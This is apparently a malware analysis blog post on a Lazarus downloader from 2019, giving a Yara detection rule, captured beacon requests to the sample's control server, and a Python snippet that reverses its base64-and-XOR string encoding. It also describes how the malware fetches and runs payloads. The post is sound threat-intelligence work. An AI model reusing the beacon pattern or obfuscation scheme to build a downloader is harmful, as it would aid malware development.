Lazarus obfuscation in Feb 2019

Lazarus obfuscation in Feb 2019

Starting off, I’d like to give a shot-out to Brian Bartholomew (Twitter: @Mao_Ware) for his general awesomeness and for his post on 30 January from which this research starts.

Using this as a base for the following Yara rule, I found a similar sample (SHA256: 625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0) also packed with UPX.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rule LazarusDocJan2019_01
{
meta:
author = "Silas Cutler"
description = "Detection for Lazarus Payload from Jan 2019"
ref = "https://twitter.com/DrunkBinary/status/1090625122883510274"
version = "0.1"
strings:
$ = "\"Main Invoked.\""
$ = "\"Main Returned.\""
$ = "%sd.%se%sc %s > %s 2>&1"
condition:
all of them
}

As with the sample Brian identified, the control server is not obfuscated in the binary:

Control server in `WinMain` function

Sandboxing of the sample, confirms the malware beacons to this URL:

1
2
3
4
5
6
GET /intro/info/info.asp?id=dn678 HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.

In IDA, we can see the malware uses the standard LoadLibrary / GetProcessAddress method for dynamically loading some key function calls. Shown below, the encoded string y8zS2vHp8PLx//rK8dj38vvf is base64 decoded and XORed by 0x9E, resulting in the string URLDownloadToFileA that is passed to GetProcAddress.

The data returned by the control server is decoded using the same method as the URLDownloadToFileA (shown below).

The decoded contents are written to disk for execution, unless the response starts with sleep, which will cause the sample to pause for 60000ms, before retrying the request.

Sandboxing also showed the sample made several other HTTP calls to the same URL with the parameter string search=2tjbpK6urq6urq6u.

1
2
3
4
5
6
GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.

In IDA, we can see that the ?search= is concatenated to end of the URL along with a value that is XOR-encoded using a key of 0x9E and then base64 encoded, shown below.

indata is XOR encoded using 0x9E and then base64-ed

Knowing the obfuscation is trivial, in a few lines of Python — the value being sent was DFE:00000000

1
2
3
4
5
6
7
8
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
>>> indata = "2tjbpK6urq6urq6u"
>>> out = ""
>>> for byte in indata.decode('base64'):
... out += chr(ord(byte) ^ 0x9E)
...
>>> out
'DFE:00000000'

However, outside of the novel ability to decode something arbitrarily encode, this doesn’t provide any insight about functionality or purpose. Turning back to IDA, we can see the string DFE:%08x is a format string that takes an unsigned int. Looking at where this string is defined, we can see there are several similar strings.

1
2
3
4
5
6
7
8
.rdata:00417644 aIdDn678        db '?id=dn678'
.rdata:00417658 aSearch db '?search='
.rdata:00417664 aCfe08x db 'CFE:%08x'
.rdata:00417670 aGfse08x db 'GFSE:%08x'
.rdata:0041767C aLae08x db 'LAE:%08x'
.rdata:00417688 aRfe08x db 'RFE:%08x'
.rdata:00417780 aCpe08x db 'CPE:%08x'
.rdata:0041778C aDfe08x db 'DFE:%08x'

For each of these, the associated derived from GetLastError() (shown below).

Running through the rest of the file, the strings correlate as follows - https://gist.githubusercontent.com/silascutler/4245513e2dc1a7a9fc3d73346dd0cd12/raw/17d5bea8f80e73ca84a4ca0f36f19209c271f267/strfmt.csv

(Post migrated from Medium - https://medium.com/emptyregisters/lazarus-downloader-brief-analy-17875f342d96 )